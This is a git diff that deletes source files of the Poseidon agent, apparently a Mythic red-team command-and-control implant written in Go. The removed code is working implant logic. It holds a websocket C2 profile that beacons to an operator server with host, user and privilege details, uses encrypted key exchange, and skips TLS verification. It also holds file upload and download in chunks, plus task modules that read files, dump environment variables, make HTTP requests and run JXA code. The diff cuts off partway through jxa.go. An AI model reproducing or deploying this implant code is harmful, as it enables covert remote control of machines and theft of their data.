- c.Jitter = jitter
-}
-
-func (c C2Websockets) ApfID() string {
- return c.ApfellID
-}
-
-func (c *C2Websockets) SetApfellID(newApf string) {
- c.ApfellID = newApf
-}
-
-func (c C2Websockets) ProfileType() string {
- t := reflect.TypeOf(c)
- return t.Name()
-}
-
-func (c *C2Websockets) CheckIn(ip string, pid int, user string, host string, operatingsystem string, arch string) interface{} {
- // Set the C2 Profile values
- c.BaseURL = Config.BaseURL
- c.Interval = Config.Sleep
- c.Jitter = Config.Jitter
-
- if strings.Contains(Config.KEYX, "T") {
- c.ExchangingKeys = true
- } else {
- c.ExchangingKeys = false
- }
-
- if len(Config.Key) > 0 {
- c.Key = Config.Key
- } else {
- c.Key = ""
- }
-
- if len(Config.HostHeader) > 0 {
- c.HostHeader = Config.HostHeader
- }
-
- if len(Config.UserAgent) > 0 {
- c.UserAgent = Config.UserAgent
- } else {
- c.UserAgent = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/419.3 (KHTML, like Gecko) Safari/419.3"
- }
-
- c.Endpoint = Config.Endpoint
-
- // Establish a connection to the websockets server
- url := fmt.Sprintf("%s%s", c.BaseURL, Config.Endpoint)
- //log.Printf(url)
- header := make(http.Header)
- header.Set("User-Agent", c.UserAgent)
-
- // Set the host header
- if (len(c.HostHeader) > 0) {
- header.Set("Host", c.HostHeader)
- }
-
- d := websocket.Dialer{
- TLSClientConfig: &tls.Config{
- InsecureSkipVerify: true,
- },
- }
- for true {
- connection, _, err := d.Dial(url, header)
- if err != nil {
- //log.Printf("Error connecting to server %s ", err.Error())
- //return structs.CheckInMessageResponse{Action: "checkin", Status: "failed"}
- time.Sleep(time.Duration(c.getSleepTime()) * time.Second);
- continue
- }
- c.Conn = connection
- break
- }
-
- //log.Println("Connected to server ")
- var resp []byte
-
- c.UUID = UUID
- c.ApfellID = c.UUID
- checkin := structs.CheckInMessage{}
- checkin.Action = "checkin"
- checkin.User = user
- checkin.Host = host
- checkin.IP = ip
- checkin.Pid = pid
- checkin.UUID = c.UUID
- checkin.OS = operatingsystem
- checkin.Architecture = arch
- if functions.IsElevated() {
- checkin.IntegrityLevel = 3
- } else {
- checkin.IntegrityLevel = 2
- }
- checkinMsg, _ := json.Marshal(checkin)
-
- if c.ExchangingKeys {
- _ = c.NegotiateKey()
- }
-
- resp = c.sendData("", checkinMsg)
- response := structs.CheckInMessageResponse{}
- err := json.Unmarshal(resp, &response)
- if err != nil {
- //log.Printf("Error unmarshaling response: %s", err.Error())
- return structs.CheckInMessageResponse{Status: "failed"}
- }
-
- if len(response.ID) > 0 {
- c.ApfellID = response.ID
- }
-
- return response
-}
-
-func (c *C2Websockets) GetTasking() interface{} {
- request := structs.TaskRequestMessage{}
- request.Action = "get_tasking"
- request.TaskingSize = -1
-
- raw, err := json.Marshal(request)
-
- if err != nil {
- //log.Printf("Error unmarshalling: %s", err.Error())
- }
-
- rawTask := c.sendData("", raw)
- task := structs.TaskRequestMessageResponse{}
- err = json.Unmarshal(rawTask, &task)
-
- if err != nil {
- //log.Printf("Error unmarshalling task data: %s", err.Error())
- return task
- }
-
- return task
-}
-
-func (c *C2Websockets) PostResponse(output []byte, skipChunking bool) []byte {
- return c.sendData("", output)
-}
-
-func (c *C2Websockets) SendFile(task structs.Task, params string, ch chan []byte) {
-
- path := task.Params
- // Get the file size first and then the # of chunks required
- file, err := os.Open(path)
-
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error opening file: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- fi, err := file.Stat()
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error getting file size: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- size := fi.Size()
- raw := make([]byte, size)
- _, err = file.Read(raw)
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error reading file: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- _ = file.Close()
-
- c.SendFileChunks(task, raw, ch)
-}
-
-func (c *C2Websockets) GetFile(task structs.Task, fileDetails structs.FileUploadParams, ch chan []byte) {
-
-
- fileUploadMsg := structs.FileUploadChunkMessage{} //Create the file upload chunk message
- fileUploadMsg.Action = "upload"
- fileUploadMsg.FileID = fileDetails.FileID
- fileUploadMsg.ChunkSize = 1024000
- fileUploadMsg.ChunkNum = 1
- fileUploadMsg.FullPath = fileDetails.RemotePath
- fileUploadMsg.TaskID = task.TaskID
-
- msg, _ := json.Marshal(fileUploadMsg)
- mu.Lock()
- UploadResponses = append(UploadResponses, msg)
- mu.Unlock()
- // Wait for response from apfell
- rawData := <-ch
-
- fileUploadMsgResponse := structs.FileUploadChunkMessageResponse{} // Unmarshal the file upload response from apfell
- err := json.Unmarshal(rawData, &fileUploadMsgResponse)
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error unmarshaling task response: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- f, err := os.Create(fileDetails.RemotePath)
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error creating file: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
- defer f.Close()
- decoded, _ := base64.StdEncoding.DecodeString(fileUploadMsgResponse.ChunkData)
-
- _, err = f.Write(decoded)
-
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error writing to file: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- offset := int64(len(decoded))
- if fileUploadMsgResponse.TotalChunks > 1 {
- for index := 2; index <= fileUploadMsgResponse.TotalChunks; index++ {
- fileUploadMsg = structs.FileUploadChunkMessage{}
- fileUploadMsg.Action = "upload"
- fileUploadMsg.ChunkNum = index
- fileUploadMsg.ChunkSize = 1024000
- fileUploadMsg.FileID = fileDetails.FileID
- fileUploadMsg.FullPath = fileDetails.RemotePath
- fileUploadMsg.TaskID = task.TaskID
-
- msg, _ := json.Marshal(fileUploadMsg)
- mu.Lock()
- UploadResponses = append(UploadResponses, msg)
- mu.Unlock()
- rawData := <-ch
-
- fileUploadMsgResponse = structs.FileUploadChunkMessageResponse{} // Unmarshal the file upload response from apfell
- err := json.Unmarshal(rawData, &fileUploadMsgResponse)
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error marshaling response: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- decoded, _ := base64.StdEncoding.DecodeString(fileUploadMsgResponse.ChunkData)
-
- _, err = f.WriteAt(decoded, offset)
-
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error writing to file: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- offset = offset + int64(len(decoded))
- }
- }
-
- resp := structs.Response{}
- resp.UserOutput = "File upload complete"
- resp.Completed = true
- resp.TaskID = task.TaskID
- encResp, err := json.Marshal(resp)
- mu.Lock()
- TaskResponses = append(TaskResponses, encResp)
- mu.Unlock()
- return
-}
-
-func (c *C2Websockets) SendFileChunks(task structs.Task, fileData []byte, ch chan []byte) {
- size := len(fileData)
-
- const fileChunk = 512000 //Normal apfell chunk size
- chunks := uint64(math.Ceil(float64(size) / fileChunk))
- chunkResponse := structs.FileDownloadInitialMessage{}
- chunkResponse.NumChunks = int(chunks)
- chunkResponse.TaskID = task.TaskID
- chunkResponse.FullPath = task.Params
- msg, _ := json.Marshal(chunkResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, msg)
- mu.Unlock()
- // Wait for a response from the channel
- var fileDetails map[string]interface{}
- // Wait for a response from the channel
-
- for {
- resp := <- ch
- err := json.Unmarshal(resp, &fileDetails)
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error unmarshaling task response: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
-
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- //log.Printf("Receive file download registration response %s\n", resp)
- if _, ok := fileDetails["file_id"]; ok {
- if ok {
- //log.Println("Found response with file_id key ", fileid)
- break
- } else {
- //log.Println("Didn't find response with file_id key")
- continue
- }
- }
- }
-
-
- r := bytes.NewBuffer(fileData)
- // Sleep here so we don't spam apfell
- //time.Sleep(time.Duration(c.getSleepTime()) * time.Second);
- for i := uint64(0); i < chunks; i++ {
- partSize := int(math.Min(fileChunk, float64(int64(size)-int64(i*fileChunk))))
- partBuffer := make([]byte, partSize)
- // Create a temporary buffer and read a chunk into that buffer from the file
- read, err := r.Read(partBuffer)
- if err != nil || read == 0 {
- break
- }
-
- msg := structs.FileDownloadChunkMessage{}
- msg.ChunkNum = int(i) + 1
- msg.FileID = fileDetails["file_id"].(string)
- msg.ChunkData = base64.StdEncoding.EncodeToString(partBuffer)
- msg.TaskID = task.TaskID
-
- encmsg, _ := json.Marshal(msg)
- mu.Lock()
- TaskResponses = append(TaskResponses, encmsg)
- mu.Unlock()
-
- // Wait for a response for our file chunk
- var postResp map[string]interface{}
- for {
- decResp := <-ch
- err := json.Unmarshal(decResp, &postResp)// Wait for a response for our file chunk
-
- if err != nil {
- errResponse := structs.Response{}
- errResponse.Completed = true
- errResponse.TaskID = task.TaskID
- errResponse.UserOutput = fmt.Sprintf("Error unmarshaling task response: %s", err.Error())
- errResponseEnc, _ := json.Marshal(errResponse)
- mu.Lock()
- TaskResponses = append(TaskResponses, errResponseEnc)
- mu.Unlock()
- return
- }
-
- //log.Printf("Received chunk download response %s\n", decResp)
- if _, ok := postResp["status"]; ok {
- if ok {
- //log.Println("Found response with status key: ", status)
- break
- } else {
- //log.Println("Didn't find response with status key")
- continue
- }
- }
- }
-
- if !strings.Contains(postResp["status"].(string), "success") {
- // If the post was not successful, wait and try to send it one more time
-
- mu.Lock()
- TaskResponses = append(TaskResponses, encmsg)
- mu.Unlock()
- }
-
- time.Sleep(time.Duration(c.getSleepTime()) * time.Second)
- }
- // Reset the buffer to be empty
- r.Reset()
- r = nil
- fileData = nil
-
- final := structs.Response{}
- final.Completed = true
- final.TaskID = task.TaskID
- final.UserOutput = "file downloaded"
- finalEnc, _ := json.Marshal(final)
- //c.PostResponse(task, string(finalEnc))
- mu.Lock()
- TaskResponses = append(TaskResponses, finalEnc)
- mu.Unlock()
-}
-
-func (c *C2Websockets) NegotiateKey() string {
- sessionID := GenerateSessionID()
- pub, priv := crypto.GenerateRSAKeyPair()
- c.RsaPrivateKey = priv
- //initMessage := structs.EKEInit{}
- initMessage := structs.EkeKeyExchangeMessage{}
- initMessage.Action = "staging_rsa"
- initMessage.SessionID = sessionID
- initMessage.PubKey = base64.StdEncoding.EncodeToString(pub)
-
- // Encode and encrypt the json message
- raw, err := json.Marshal(initMessage)
-
- if err != nil {
- //log.Printf("Error marshaling data: %s", err.Error())
- return ""
- }
-
- //log.Printf("Sending EKE msg: %+v\n", initMessage)
- resp := c.sendData("", raw)
-
- //decryptedResponse := crypto.RsaDecryptCipherBytes(resp, c.RsaPrivateKey)
- sessionKeyResp := structs.EkeKeyExchangeMessageResponse{}
-
- err = json.Unmarshal(resp, &sessionKeyResp)
- if err != nil {
- //log.Printf("Error unmarshaling RsaResponse %s", err.Error())
- return ""
- }
-
- //log.Printf("Received EKE response: %+v\n", sessionKeyResp)
- // Save the new AES session key
- encryptedSesionKey, _ := base64.StdEncoding.DecodeString(sessionKeyResp.SessionKey)
- decryptedKey := crypto.RsaDecryptCipherBytes(encryptedSesionKey, c.RsaPrivateKey)
- c.Key = base64.StdEncoding.EncodeToString(decryptedKey) // Save the new AES session key
- c.ExchangingKeys = false
-
- if len(sessionKeyResp.UUID) > 0 {
- c.ApfellID = sessionKeyResp.UUID
- }
-
- return sessionID
-
-}
-func (c *C2Websockets) reconnect(){
- header := make(http.Header)
- header.Set("User-Agent", c.UserAgent)
- if (len(c.HostHeader) > 0) {
- header.Set("Host", c.HostHeader)
- }
- d := websocket.Dialer{
- TLSClientConfig: &tls.Config{
- InsecureSkipVerify: true,
- },
- }
- url := fmt.Sprintf("%s%s", c.BaseURL, c.Endpoint)
- for true {
- connection, _, err := d.Dial(url, header)
- if err != nil {
- //log.Printf("Error connecting to server %s ", err.Error())
- //return structs.CheckInMessageResponse{Action: "checkin", Status: "failed"}
- time.Sleep(time.Duration(c.getSleepTime()) * time.Second);
- continue
- }
- c.Conn = connection
- break
- }
-}
-func (c *C2Websockets) sendData(tag string, sendData []byte) []byte {
- m := structs.Message{}
- if len(c.Key) != 0 {
- sendData = c.encryptMessage(sendData)
- }
-
- sendData = append([]byte(c.ApfellID), sendData...)
- sendData = []byte(base64.StdEncoding.EncodeToString(sendData))
- for true{
- m.Client = true
- m.Data = string(sendData)
- m.Tag = tag
- //log.Printf("Sending message %+v\n", m)
- err := c.Conn.WriteJSON(m)
- if err != nil {
- //log.Printf("%v", err);
- c.reconnect()
- continue
- }
- // Read the response
- resp := structs.Message{}
- err = c.Conn.ReadJSON(&resp)
-
- if err != nil {
- //log.Println("Error trying to read message ", err.Error())
- c.reconnect()
- continue
- }
-
- raw, err := base64.StdEncoding.DecodeString(resp.Data)
- if err != nil {
- //log.Println("Error decoding base64 data: ", err.Error())
- return make([]byte, 0)
- }
-
- if len(raw) < 36 {
- //log.Println("length of data < 36")
- time.Sleep(time.Duration(c.getSleepTime()) * time.Second);
- continue
- }
-
- enc_raw := raw[36:] // Remove the Payload UUID
-
- if len(c.Key) != 0 {
- //log.Printf("Decrypting data")
- enc_raw = c.decryptMessage(enc_raw)
- if len(enc_raw) == 0 {
- time.Sleep(time.Duration(c.getSleepTime()) * time.Second);
- continue
- }
- }
-
- return enc_raw
- }
-
- return make([]byte, 0)
-}
-
-
-func (c *C2Websockets) encryptMessage(msg []byte) []byte {
- key, _ := base64.StdEncoding.DecodeString(c.Key)
- return crypto.AesEncrypt(key, msg)
-}
-
-func (c *C2Websockets) decryptMessage(msg []byte) []byte {
- key, _ := base64.StdEncoding.DecodeString(c.Key)
- return crypto.AesDecrypt(key, msg)
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/cat/cat.go b/Payload_Types/poseidon/agent_code/cat/cat.go
deleted file mode 100755
index a1cb212af..000000000
--- a/Payload_Types/poseidon/agent_code/cat/cat.go
+++ /dev/null
@@ -1,70 +0,0 @@
-package cat
-
-import (
- "os"
- "pkg/utils/structs"
- "pkg/profiles"
- "encoding/json"
- "sync"
-)
-
-var mu sync.Mutex
-
-//Run - package function to run cat
-func Run(task structs.Task) {
-
- f, err := os.Open(task.Params)
-
- msg := structs.Response{}
- msg.TaskID = task.TaskID
- if err != nil {
-
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- info, err := f.Stat()
-
- if err != nil {
-
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- data := make([]byte, int(info.Size()))
- n, err := f.Read(data)
- if err != nil && n == 0 {
-
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- msg.UserOutput = string(data)
- msg.Completed = true
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/cp/cp.go b/Payload_Types/poseidon/agent_code/cp/cp.go
deleted file mode 100755
index 197d0e20b..000000000
--- a/Payload_Types/poseidon/agent_code/cp/cp.go
+++ /dev/null
@@ -1,87 +0,0 @@
-package cp
-
-import (
- "encoding/json"
- "fmt"
- "io"
- "os"
- "sync"
- "pkg/profiles"
-
- "pkg/utils/structs"
-)
-
-var mu sync.Mutex
-
-type Arguments struct {
- Source string `json:"source"`
- Destination string `json:"destination"`
-}
-
-func copy(src, dst string) (int64, error) {
- sourceFileStat, err := os.Stat(src)
- if err != nil {
- return 0, err
- }
-
- if !sourceFileStat.Mode().IsRegular() {
- return 0, fmt.Errorf("%s is not a regular file", src)
- }
-
- source, err := os.Open(src)
- if err != nil {
- return 0, err
- }
- defer source.Close()
-
- destination, err := os.Create(dst)
- if err != nil {
- return 0, err
- }
- defer destination.Close()
- nBytes, err := io.Copy(destination, source)
- return nBytes, err
-}
-
-//Run - Function that executes the copy command
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
- args := &Arguments{}
- err := json.Unmarshal([]byte(task.Params), args)
- if err != nil {
-
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- copiedBytes, err := copy(args.Source, args.Destination)
-
- if err != nil {
-
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- msg.Completed = true
- msg.UserOutput = fmt.Sprintf("Copied %d bytes to %s", copiedBytes, args.Destination)
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/curl/curl.go b/Payload_Types/poseidon/agent_code/curl/curl.go
deleted file mode 100755
index fe5a50f81..000000000
--- a/Payload_Types/poseidon/agent_code/curl/curl.go
+++ /dev/null
@@ -1,120 +0,0 @@
-package curl
-
-import (
- "encoding/json"
- "encoding/base64"
- "sync"
- "bytes"
- "pkg/profiles"
- "net/http"
- "io/ioutil"
- "time"
- "strings"
-
- "pkg/utils/structs"
-)
-
-var mu sync.Mutex
-
-type Arguments struct {
- Url string `json:"url"`
- Method string `json:"method"`
- Body string `json:"body"`
- Headers string `json:"headers"`
-}
-
-//Run - Function that executes a curl command with Golang APIs
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
- args := &Arguments{}
- err := json.Unmarshal([]byte(task.Params), args)
-
- if err != nil {
-
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- var body []byte
- var rawHeaders []byte
-
- if len(args.Body) > 0 {
- body, _ = base64.StdEncoding.DecodeString(args.Body)
- }
-
- if len(args.Headers) > 0 {
- rawHeaders, _ = base64.StdEncoding.DecodeString(args.Headers)
- }
-
- client := &http.Client{
- Timeout: 30 * time.Second,
- }
-
- var respBody []byte
- var req *http.Request
- if len(body) > 0 {
- req, _ = http.NewRequest(args.Method, args.Url, bytes.NewBuffer(body))
- } else {
- req, _ = http.NewRequest(args.Method, args.Url, nil)
- }
-
-
- if len(rawHeaders) > 0 {
- var headers map[string]interface{}
- _ = json.Unmarshal(rawHeaders, &headers)
-
- for k, v := range headers {
- if strings.Contains(k, "Host") {
- req.Host = v.(string)
- } else {
- req.Header.Set(k, v.(string))
- }
- }
- }
-
- resp, err := client.Do(req)
- if err != nil {
-
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- defer resp.Body.Close()
- respBody, err = ioutil.ReadAll(resp.Body)
-
- if err != nil {
-
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- msg.Completed = true
- msg.UserOutput = string(respBody)
- r, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, r)
- mu.Unlock()
- return
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/drives/drives.go b/Payload_Types/poseidon/agent_code/drives/drives.go
deleted file mode 100755
index 0fba694d9..000000000
--- a/Payload_Types/poseidon/agent_code/drives/drives.go
+++ /dev/null
@@ -1,50 +0,0 @@
-package drives
-
-import (
- "encoding/json"
-
- "pkg/utils/structs"
- "sync"
- "pkg/profiles"
-)
-
-var mu sync.Mutex
-
-type Drive struct {
- Name string `json:"name"`
- Description string `json:"description"`
- FreeBytes uint64 `json:"free_bytes"`
- TotalBytes uint64 `json:"total_bytes"`
- FreeBytesPretty string `json:"free_bytes_pretty"`
- TotalBytesPretty string `json:"total_bytes_pretty"`
-}
-
-//Run - Function that executes the shell command
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
-
-
- res, err := listDrives()
-
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- driveJson, err := json.MarshalIndent(res, "", " ")
- msg.UserOutput = string(driveJson)
- msg.Completed = true
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/drives/drives_nix.go b/Payload_Types/poseidon/agent_code/drives/drives_nix.go
deleted file mode 100755
index b6937d846..000000000
--- a/Payload_Types/poseidon/agent_code/drives/drives_nix.go
+++ /dev/null
@@ -1,59 +0,0 @@
-// +build linux darwin
-
-package drives
-
-import (
- "io/ioutil"
- "os"
- "path"
- "syscall"
-
- "pkg/utils/functions"
-)
-
-func getDrive(path string) Drive {
- var stat syscall.Statfs_t
- syscall.Statfs(path, &stat)
- // Available blocks * size per block = available space in bytes
- // fmt.Println(stat.Bavail * uint64(stat.Bsize))
- freeBytes := stat.Bavail * uint64(stat.Bsize)
- totalBytes := stat.Blocks * uint64(stat.Bsize)
- freeBytesPretty := functions.UINT64ByteCountDecimal(freeBytes)
- totalBytesPretty := functions.UINT64ByteCountDecimal(totalBytes)
- return Drive{
- Name: path,
- Description: "",
- FreeBytes: stat.Bavail * uint64(stat.Bsize),
- TotalBytes: stat.Blocks * uint64(stat.Bsize),
- FreeBytesPretty: freeBytesPretty,
- TotalBytesPretty: totalBytesPretty,
- }
-}
-
-func listDrives() ([]Drive, error) {
- var drives []Drive
- drives = append(drives, getDrive("/"))
-
- _, err := os.Stat("/mnt/")
- if err == nil {
- files, err := ioutil.ReadDir("/mnt/")
- if err == nil {
- for _, f := range files {
- fp := path.Join("/mnt/", f.Name())
- drives = append(drives, getDrive(fp))
- }
- }
- }
-
- _, err = os.Stat("/Volumes/")
- if err == nil {
- files, err := ioutil.ReadDir("/Volumes/")
- if err == nil {
- for _, f := range files {
- fp := path.Join("/Volumes/", f.Name())
- drives = append(drives, getDrive(fp))
- }
- }
- }
- return drives, nil
-}
diff --git a/Payload_Types/poseidon/agent_code/getenv/getenv.go b/Payload_Types/poseidon/agent_code/getenv/getenv.go
deleted file mode 100755
index 7ca237468..000000000
--- a/Payload_Types/poseidon/agent_code/getenv/getenv.go
+++ /dev/null
@@ -1,26 +0,0 @@
-package getenv
-
-import (
- "os"
- "strings"
- "encoding/json"
- "pkg/utils/structs"
- "sync"
- "pkg/profiles"
-)
-
-var mu sync.Mutex
-
-//Run - Function that executes the shell command
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
- msg.UserOutput = strings.Join(os.Environ(), "\n")
- msg.Completed = true
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/getuser/getuser.go b/Payload_Types/poseidon/agent_code/getuser/getuser.go
deleted file mode 100755
index a46fc721e..000000000
--- a/Payload_Types/poseidon/agent_code/getuser/getuser.go
+++ /dev/null
@@ -1,98 +0,0 @@
-package getuser
-
-import (
- "encoding/json"
- "os/user"
-
- "pkg/utils/structs"
- "sync"
- "pkg/profiles"
-)
-
-var mu sync.Mutex
-
-type SerializableUser struct {
- // Uid is the user ID.
- // On POSIX systems, this is a decimal number representing the uid.
- // On Windows, this is a security identifier (SID) in a string format.
- // On Plan 9, this is the contents of /dev/user.
- Uid string `json:"uid"`
- // Gid is the primary group ID.
- // On POSIX systems, this is a decimal number representing the gid.
- // On Windows, this is a SID in a string format.
- // On Plan 9, this is the contents of /dev/user.
- Gid string `json:"gid"`
- // Username is the login name.
- Username string `json:"username"`
- // Name is the user's real or display name.
- // It might be blank.
- // On POSIX systems, this is the first (or only) entry in the GECOS field
- // list.
- // On Windows, this is the user's display name.
- // On Plan 9, this is the contents of /dev/user.
- Name string `json:"name"`
- // HomeDir is the path to the user's home directory (if they have one).
- HomeDir string `json:"homedir"`
-}
-
-//Run - Function that executes the shell command
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
-
- curUser, err := user.Current()
-
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- serUser := SerializableUser{
- Uid: curUser.Uid,
- Gid: curUser.Gid,
- Username: curUser.Username,
- Name: curUser.Name,
- HomeDir: curUser.HomeDir,
- }
-
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- res, err := json.MarshalIndent(serUser, "", " ")
-
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- msg.UserOutput = string(res)
- msg.Completed = true
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/jobkill/jobkill.go b/Payload_Types/poseidon/agent_code/jobkill/jobkill.go
deleted file mode 100755
index cb5b7e37f..000000000
--- a/Payload_Types/poseidon/agent_code/jobkill/jobkill.go
+++ /dev/null
@@ -1,5 +0,0 @@
-package jobkill
-
-type Arguments struct {
- ID string `json:"id"`
-}
diff --git a/Payload_Types/poseidon/agent_code/jobs/.gitkeep b/Payload_Types/poseidon/agent_code/jobs/.gitkeep
deleted file mode 100755
index e69de29bb..000000000
diff --git a/Payload_Types/poseidon/agent_code/jxa/jxa.go b/Payload_Types/poseidon/agent_code/jxa/jxa.go
deleted file mode 100755
index df1efa589..000000000
--- a/Payload_Types/poseidon/agent_code/jxa/jxa.go
+++ /dev/null
@@ -1,61 +0,0 @@
-package jxa
-
-import (
- "encoding/json"
- "pkg/utils/structs"
- "sync"
- "pkg/profiles"
-)
-
-var mu sync.Mutex
-
-type JxaRun interface {
- Success() bool
- Result() string
-}
-
-type Arguments struct {
- Code string `json:"code"`
-}
-
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
-
- args := Arguments{}
- err := json.Unmarshal([]byte(task.Params), &args)
-
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
-
- r, err := runCommand(args.Code)
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- msg.UserOutput = r.Result()
- msg.Completed = true
